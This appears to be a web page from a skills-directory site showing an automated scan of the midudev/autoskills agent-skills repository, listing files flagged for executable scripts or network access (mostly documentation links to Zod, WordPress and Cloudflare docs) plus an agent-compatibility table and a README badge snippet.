packages/autoskills/skills-registry/wp-performance/scripts/perf_inspect.mjs

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/wp-plugin-development/references/lifecycle.md

  • Network accessline 17
    - https://developer.wordpress.org/plugins/plugin-basics/activation-deactivation-hooks/
  • Network accessline 32
    - https://developer.wordpress.org/plugins/plugin-basics/uninstall-methods/

packages/autoskills/skills-registry/wp-plugin-development/references/security.md

  • Network accessline 12
    - https://developer.wordpress.org/apis/security/nonces/
  • Network accessline 49
    - https://developer.wordpress.org/plugins/wordpress-org/detailed-plugin-guidelines/

packages/autoskills/skills-registry/wp-plugin-development/references/settings-api.md

  • Network accessline 13
    - Settings API overview: https://developer.wordpress.org/plugins/settings/settings-api/
  • Network accessline 14
    - Register settings: https://developer.wordpress.org/plugins/settings/registration/
  • Network accessline 15
    - Add settings fields: https://developer.wordpress.org/plugins/settings/settings-fields/

packages/autoskills/skills-registry/wp-plugin-development/references/structure.md

  • Network accessline 15
    - https://developer.wordpress.org/plugins/plugin-basics/

packages/autoskills/skills-registry/wp-plugin-development/scripts/detect_plugins.mjs

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/wp-project-triage/references/triage.schema.json

  • Network accessline 1
    {   "$schema": "https://json-schema.org/draft/2020-12/schema",
  • Network accessline 2
    "$schema": "https://json-schema.org/draft/2020-12/schema",
  • Network accessline 3
    "$id": "https://agentskills.local/wp-project-triage/triage.schema.json",

packages/autoskills/skills-registry/wp-project-triage/scripts/detect_wp_project.mjs

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/wp-rest-api/SKILL.md

  • Network accessline 90
    - Ensure discovery works (`Link` header or `<link rel="https://api.w.org/">`).

packages/autoskills/skills-registry/wp-rest-api/references/discovery-and-params.md

  • Network accessline 5
    - REST API root is discovered via the `Link` header: `rel="https://api.w.org/"`.
  • Network accessline 6
    - HTML pages also include a `<link rel="https://api.w.org/" href="...">` element.

packages/autoskills/skills-registry/wp-wpcli-and-ops/scripts/wpcli_inspect.mjs

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/wrangler/SKILL.md

  • Network accessline 8
    Use this skill only when the project has `wrangler.jsonc`, `wrangler.json`, or `wrangler.toml` and no `cloudflare.config.ts`, or when the user asks for Wrangler. For a new project, a project with `cloudflare.config.ts`, or a project with no
  • Network accessline 14
    - Find the package manager, installed Wrangler version, package scripts, framework, and Wrangler config. Run commands through the project's scripts or package manager so they use its local version. Install dependencies using the existing lo
  • Network accessline 20
    Use the Cloudflare MCP `docs` tool if available, or fetch the relevant linked page directly. Follow links to the specific command or product involved; avoid loading the entire reference. If a page moves, rediscover it through the [Wrangler 
  • Network accessline 22
    | Task | Source | | --- | --- | | Discover commands and flags, including resource management, deployments, rollback, and diagnostics | Project-local `wrangler --help` and `wrangler <command> --help`; [command reference](https://developers.c
  • Network accessline 23
    | --- | --- | | Discover commands and flags, including resource management, deployments, rollback, and diagnostics | Project-local `wrangler --help` and `wrangler <command> --help`; [command reference](https://developers.cloudflare.com/work
  • Network accessline 24
    | Discover commands and flags, including resource management, deployments, rollback, and diagnostics | Project-local `wrangler --help` and `wrangler <command> --help`; [command reference](https://developers.cloudflare.com/workers/wrangler/c
  • Network accessline 25
    | Edit config or add a binding | Installed `wrangler/config-schema.json` (usually under `node_modules`); [configuration reference](https://developers.cloudflare.com/workers/wrangler/configuration/index.md) |
  • Network accessline 26
    | Deploy a framework application | [Framework guides](https://developers.cloudflare.com/workers/framework-guides/index.md); follow the guide for the project's existing framework and adapter |
  • Network accessline 27
    | Migrate an application to Workers when requested | [Pages to Workers](https://developers.cloudflare.com/workers/static-assets/migration-guides/migrate-from-pages/index.md); [Vercel to Workers](https://developers.cloudflare.com/workers/sta
  • Network accessline 28
    | Configure staging or production | [Environments](https://developers.cloudflare.com/workers/wrangler/environments/index.md) |
  • Network accessline 29
    | Set secrets locally, in CI, or on a deployed Worker | [Secrets](https://developers.cloudflare.com/workers/configuration/secrets/index.md) |
  • Network accessline 30
    | Generate binding and runtime types | [TypeScript](https://developers.cloudflare.com/workers/languages/typescript/index.md) |
  • Network accessline 31
    | Run locally or choose a testing approach | [Local development](https://developers.cloudflare.com/workers/local-development/index.md); [testing](https://developers.cloudflare.com/workers/testing/index.md) |
  • Network accessline 32
    | Choose roles, scopes, or API token permissions for Wrangler | [Roles and permissions](https://developers.cloudflare.com/workers/authorization/index.md); [Workers roles and permissions](https://developers.cloudflare.com/workers/authorizati
  • Network accessline 33
    | Create or manage a branch or pull request environment | [Previews overview](https://developers.cloudflare.com/workers/previews/index.md); [get started](https://developers.cloudflare.com/workers/previews/get-started/index.md); [configurati
  • Network accessline 34
    | Decide whether Preview resources are isolated or shared | [Resources and isolation](https://developers.cloudflare.com/workers/previews/resources/index.md), including its current limitations |
  • Network accessline 35
    | Configure Preview URLs, access, debugging, or CI | [Custom domains](https://developers.cloudflare.com/workers/previews/custom-domains/index.md); [test and debug](https://developers.cloudflare.com/workers/previews/test-and-debug/index.md);
  • Network accessline 36
    | Choose between Previews, Version URLs, and Wrangler environments | [Compare workflows](https://developers.cloudflare.com/workers/previews/compare-workflows/index.md) |
  • Network accessline 37
    | Diagnose authentication or select an account | [General commands](https://developers.cloudflare.com/workers/wrangler/commands/general/index.md), including `whoami`; [authentication profiles](https://developers.cloudflare.com/workers/wrang
  • Network accessline 38
    | Deploy an unauthenticated prototype | [Claim deployments](https://developers.cloudflare.com/workers/platform/claim-deployments/index.md) for eligibility, expiry, and claim URL handling; use a permanent account for production or CI |
  • Network accessline 44
    - Prefer `wrangler.jsonc` for new config. Set a new project's [compatibility date](https://developers.cloudflare.com/workers/configuration/compatibility-dates/index.md) to today; review runtime changes and test when advancing an existing pr
  • Network accessline 45
    - Check environment inheritance before adding bindings or variables. Some fields must be specified separately for each environment; a working default config does not establish that staging is configured. - With the Cloudflare Vite plugin, s
  • Network accessline 46
    - With the Cloudflare Vite plugin, select the environment via `CLOUDFLARE_ENV` at dev or build time. Deploy the resulting build; setting an environment at deploy time does not retarget its flattened config. See [Vite environments](https://d
  • Network accessline 47
    - Reconcile dashboard changes with the config before deploying: Wrangler can overwrite dashboard variables and routes. When binding existing resources, verify their identifiers; omitted identifiers can trigger [automatic provisioning](https
  • Network accessline 50
    - Keep secret values out of command arguments, source code, and logs. Use the documented interactive input or protected file/stdin mechanism for the command. Local secret files must be ignored by version control and are not automatically up
  • Network accessline 52
    - Before a rollback, check [rollback limitations](https://developers.cloudflare.com/workers/versions-and-deployments/rollbacks/index.md): connected resources and their data are not rolled back with Worker code.
  • Network accessline 56
    - Workers Previews requires project-local Wrangler 4.135.0 or later; project commands do not use a newer global installation. Check the project's pinned version and make any required dependency upgrade explicit. - Use Previews for branch an
  • Network accessline 57
    - Use Previews for branch and pull request environments under the same Worker. Use Version URLs to inspect a specific uploaded version with production resources, and Wrangler environments for persistent, separately deployed Workers. Follow 
  • Network accessline 58
    - First inspect how the user manages production configuration and deployments. Configure Preview domains through the same configuration system as production, such as Wrangler, the dashboard, or Terraform. Run Preview deployments through the
  • Network accessline 59
    - Before deploying, follow the current [configuration placement table](https://developers.cloudflare.com/workers/previews/configuration/index.md#what-goes-in-the-previews-block) and [resource matrix and limitations](https://developers.cloud
  • Network accessline 60
    - Tell the user that Preview URLs are public unless access controls are configured, then let them decide whether to protect the URLs. Follow the [custom domain and access guidance](https://developers.cloudflare.com/workers/previews/custom-d

packages/autoskills/skills-registry/xcode-build-orchestrator/references/orchestration-report-template.md

  • Network accessline 131
    Open a PR: https://github.com/AvdLee/Xcode-Build-Optimization-Agent-Skill/edit/main/README.md

packages/autoskills/skills-registry/xcode-build-orchestrator/scripts/benchmark_builds.py

  • Executable scriptline 1
    #!/usr/bin/env python3

packages/autoskills/skills-registry/xcode-build-orchestrator/scripts/diagnose_compilation.py

  • Executable scriptline 1
    #!/usr/bin/env python3

packages/autoskills/skills-registry/xcode-build-orchestrator/scripts/generate_optimization_report.py

  • Executable scriptline 1
    #!/usr/bin/env python3

packages/autoskills/skills-registry/zod/AGENTS.md

  • Network accessline 78
    1. [https://zod.dev/](https://zod.dev/)
  • Network accessline 79
    2. [https://zod.dev/v4](https://zod.dev/v4)
  • Network accessline 80
    3. [https://github.com/colinhacks/zod](https://github.com/colinhacks/zod)
  • Network accessline 81
    4. [https://zod.dev/packages/mini](https://zod.dev/packages/mini)
  • Network accessline 82
    5. [https://www.totaltypescript.com/tutorials/zod](https://www.totaltypescript.com/tutorials/zod)
  • Network accessline 83
    6. [https://zod.dev/error-handling](https://zod.dev/error-handling)
  • Network accessline 84
    7. [https://zod.dev/api](https://zod.dev/api)

packages/autoskills/skills-registry/zod/README.md

  • Network accessline 76
    - [Zod Official Documentation](https://zod.dev/)
  • Network accessline 77
    - [Zod v4 Release Notes](https://zod.dev/v4)
  • Network accessline 78
    - [Zod GitHub](https://github.com/colinhacks/zod)
  • Network accessline 79
    - [Zod Mini](https://zod.dev/packages/mini)

packages/autoskills/skills-registry/zod/SKILL.md

  • Network accessline 123
    - [Zod Official Documentation](https://zod.dev/)
  • Network accessline 124
    - [Zod v4 Release Notes](https://zod.dev/v4)
  • Network accessline 125
    - [Zod GitHub Repository](https://github.com/colinhacks/zod)
  • Network accessline 126
    - [Zod Mini](https://zod.dev/packages/mini)
  • Network accessline 127
    - [Total TypeScript Zod Tutorial](https://www.totaltypescript.com/tutorials/zod)

packages/autoskills/skills-registry/zod/metadata.json

  • Network accessline 6
    "abstract": "Comprehensive schema validation guide for Zod in TypeScript applications, designed for AI agents and LLMs. Contains 43 rules across 8 categories, prioritized by impact from critical (schema definition, parsing) to incremental (
  • Network accessline 7
    "references": [     "https://zod.dev/",     "https://zod.dev/v4",
  • Network accessline 8
    "https://zod.dev/",
  • Network accessline 9
    "https://zod.dev/v4",
  • Network accessline 10
    "https://github.com/colinhacks/zod",
  • Network accessline 11
    "https://zod.dev/packages/mini",
  • Network accessline 12
    "https://www.totaltypescript.com/tutorials/zod",
  • Network accessline 13
    "https://zod.dev/error-handling",
  • Network accessline 14
    "https://zod.dev/api"

packages/autoskills/skills-registry/zod/references/compose-intersection.md

  • Network accessline 144
    Reference: [Zod API - intersection](https://zod.dev/api#intersection)

packages/autoskills/skills-registry/zod/references/compose-lazy-recursive.md

  • Network accessline 143
    Reference: [Zod API - Recursive Types](https://zod.dev/api#recursive-types)

packages/autoskills/skills-registry/zod/references/compose-pipe.md

  • Network accessline 113
    Reference: [Zod API - pipe](https://zod.dev/api#pipe)

packages/autoskills/skills-registry/zod/references/compose-preprocess.md

  • Network accessline 142
    Reference: [Zod API - preprocess](https://zod.dev/api#preprocess)

packages/autoskills/skills-registry/zod/references/compose-shared-schemas.md

  • Network accessline 137
    Reference: [Zod - Type Inference](https://zod.dev/api#type-inference)

packages/autoskills/skills-registry/zod/references/error-avoid-throwing-in-refine.md

  • Network accessline 127
    Reference: [Zod API - Refine](https://zod.dev/api#refine)

packages/autoskills/skills-registry/zod/references/error-custom-messages.md

  • Network accessline 118
    Reference: [Zod Error Customization](https://zod.dev/error-customization)

packages/autoskills/skills-registry/zod/references/error-i18n.md

  • Network accessline 145
    Reference: [Zod Error Customization - Internationalization](https://zod.dev/error-customization#internationalization)

packages/autoskills/skills-registry/zod/references/error-path-for-nested.md

  • Network accessline 130
    Reference: [Zod Error Handling](https://zod.dev/error-handling)

packages/autoskills/skills-registry/zod/references/error-use-flatten.md

  • Network accessline 131
    Reference: [Zod Error Handling](https://zod.dev/error-handling)

packages/autoskills/skills-registry/zod/references/object-discriminated-unions.md

  • Network accessline 138
    Reference: [Zod API - Discriminated Unions](https://zod.dev/api#discriminated-unions)

packages/autoskills/skills-registry/zod/references/object-extend-for-composition.md

  • Network accessline 147
    Reference: [Zod API - extend](https://zod.dev/api#extend)

packages/autoskills/skills-registry/zod/references/object-optional-vs-nullable.md

  • Network accessline 117
    Reference: [Zod API - optional/nullable](https://zod.dev/api#optional)

packages/autoskills/skills-registry/zod/references/object-partial-for-updates.md

  • Network accessline 123
    Reference: [Zod API - partial](https://zod.dev/api#partial)

packages/autoskills/skills-registry/zod/references/object-pick-omit.md

  • Network accessline 146
    Reference: [Zod API - pick/omit](https://zod.dev/api#pickomit)

packages/autoskills/skills-registry/zod/references/object-strict-vs-strip.md

  • Network accessline 109
    Reference: [Zod API - Objects](https://zod.dev/api#objects)

packages/autoskills/skills-registry/zod/references/parse-async-for-async-refinements.md

  • Network accessline 118
    Reference: [Zod API - parseAsync](https://zod.dev/api#parseasync)

packages/autoskills/skills-registry/zod/references/parse-avoid-double-validation.md

  • Network accessline 129
    Reference: [Zod Performance](https://zod.dev/v4#performance)

packages/autoskills/skills-registry/zod/references/parse-handle-all-issues.md

  • Network accessline 125
    Reference: [Zod Error Handling](https://zod.dev/error-handling)

packages/autoskills/skills-registry/zod/references/parse-never-trust-json.md

  • Network accessline 22
    // API response - also unvalidated const response = await fetch('/api/user')
  • Network accessline 23
    const response = await fetch('/api/user')
  • Network accessline 57
    const response = await fetch('/api/user')
  • Network accessline 113
    Reference: [Zod API - parse](https://zod.dev/api#parse)

packages/autoskills/skills-registry/zod/references/parse-use-safeparse.md

  • Network accessline 102
    Reference: [Zod API - safeParse](https://zod.dev/api#safeparse)

packages/autoskills/skills-registry/zod/references/parse-validate-early.md

  • Network accessline 110
    // External API responses const response = await fetch('/api/users')
  • Network accessline 111
    const response = await fetch('/api/users')
  • Network accessline 120
    Reference: [Zod with TypeScript for Server-side Validation](https://stack.convex.dev/typescript-zod-function-validation)

packages/autoskills/skills-registry/zod/references/perf-arrays.md

  • Network accessline 153
    Reference: [Zod Performance](https://zod.dev/v4#performance)

packages/autoskills/skills-registry/zod/references/perf-avoid-dynamic-creation.md

  • Network accessline 139
    Reference: [Zod v4 Performance](https://zod.dev/v4#performance)

packages/autoskills/skills-registry/zod/references/perf-cache-schemas.md

  • Network accessline 138
    Reference: [Zod Performance](https://zod.dev/v4#performance)

packages/autoskills/skills-registry/zod/references/perf-lazy-loading.md

  • Network accessline 135
    Reference: [Next.js Dynamic Imports](https://nextjs.org/docs/app/building-your-application/optimizing/lazy-loading)

packages/autoskills/skills-registry/zod/references/perf-zod-mini.md

  • Network accessline 117
    Reference: [Zod Mini](https://zod.dev/packages/mini)

packages/autoskills/skills-registry/zod/references/refine-add-path.md

  • Network accessline 141
    Reference: [Zod API - refine](https://zod.dev/api#refine)

packages/autoskills/skills-registry/zod/references/refine-catch.md

  • Network accessline 143
    Reference: [Zod API - catch](https://zod.dev/api#catch)

packages/autoskills/skills-registry/zod/references/refine-defaults.md

  • Network accessline 131
    Reference: [Zod API - default](https://zod.dev/api#default)

packages/autoskills/skills-registry/zod/references/refine-transform-coerce.md

  • Network accessline 105
    Reference: [Zod API - transform](https://zod.dev/api#transform)

packages/autoskills/skills-registry/zod/references/refine-vs-superrefine.md

  • Network accessline 152
    Reference: [Zod API - refine/superRefine](https://zod.dev/api#refine)

packages/autoskills/skills-registry/zod/references/schema-avoid-optional-abuse.md

  • Network accessline 93
    Reference: [Zod API - optional](https://zod.dev/api#optional)

packages/autoskills/skills-registry/zod/references/schema-coercion-for-form-data.md

  • Network accessline 88
    Reference: [Zod API - Coercion](https://zod.dev/api#coercion)

packages/autoskills/skills-registry/zod/references/schema-string-validations.md

  • Network accessline 90
    Reference: [Zod API - Strings](https://zod.dev/api#strings)

packages/autoskills/skills-registry/zod/references/schema-use-enums.md

  • Network accessline 107
    Reference: [Zod API - Enums](https://zod.dev/api#enums)

packages/autoskills/skills-registry/zod/references/schema-use-primitives-correctly.md

  • Network accessline 61
    Reference: [Zod Primitives](https://zod.dev/api#primitives)

packages/autoskills/skills-registry/zod/references/schema-use-unknown-not-any.md

  • Network accessline 88
    Reference: [Zod API - unknown](https://zod.dev/api#unknown)

packages/autoskills/skills-registry/zod/references/type-branded-types.md

  • Network accessline 102
    Reference: [Zod API - brand](https://zod.dev/api#brand)

packages/autoskills/skills-registry/zod/references/type-enable-strict-mode.md

  • Network accessline 130
    Reference: [Zod Requirements](https://zod.dev/#requirements)

packages/autoskills/skills-registry/zod/references/type-export-schemas-and-types.md

  • Network accessline 116
    Reference: [Zod API - Type Inference](https://zod.dev/api#type-inference)

packages/autoskills/skills-registry/zod/references/type-input-vs-output.md

  • Network accessline 116
    Reference: [Zod - Type Inference](https://zod.dev/api#type-inference)

packages/autoskills/skills-registry/zod/references/type-use-z-infer.md

  • Network accessline 110
    Reference: [Zod - Type Inference](https://zod.dev/api#type-inference)

How the signals fit together

Facts from a static read of the files at the pinned commit. They describe what the code does, not why.

Some files could not be read; the facts below still hold.

Signal confidence: 500 facts

and 450 more

Only the first 500 facts are listed.

Works with

Agent compatibility, from the files in this repository
AgentStatusEvidenceInstall to
Claude CodeNativeFrontmatter field disable-model-invocation in packages/autoskills/skills-registry/drizzle/SKILL.md.claude/skills/<skill-name>/
CodexNativeManifest AGENTS.md.agents/skills/<skill-name>/
CursorCompatibleStandard SKILL.md packages/autoskills/skills-registry/accessibility/SKILL.md.cursor/skills/<skill-name>/
Gemini CLICompatibleStandard SKILL.md packages/autoskills/skills-registry/accessibility/SKILL.md.gemini/skills/<skill-name>/
GitHub CopilotCompatibleStandard SKILL.md packages/autoskills/skills-registry/accessibility/SKILL.md.github/skills/<skill-name>/
OpenCodeNativePath .opencode/command/check.md.opencode/skills/<skill-name>/
  • Native The repository ships a manifest, folder or frontmatter field for this agent.
  • Compatible A standard SKILL.md that this agent can read.
  • Unknown No evidence either way.

Derived automatically from paths, manifests and frontmatter. Not tested on each agent.

Explore alternatives and comparisons

Add this badge to your README

It updates every night and links to this page.

midudev/autoskills: #210 on hotskills, 7k stars

[![midudev/autoskills on hotskills](https://hotskills.dev/badge/midudev-autoskills.svg)](https://hotskills.dev/skill/midudev-autoskills/)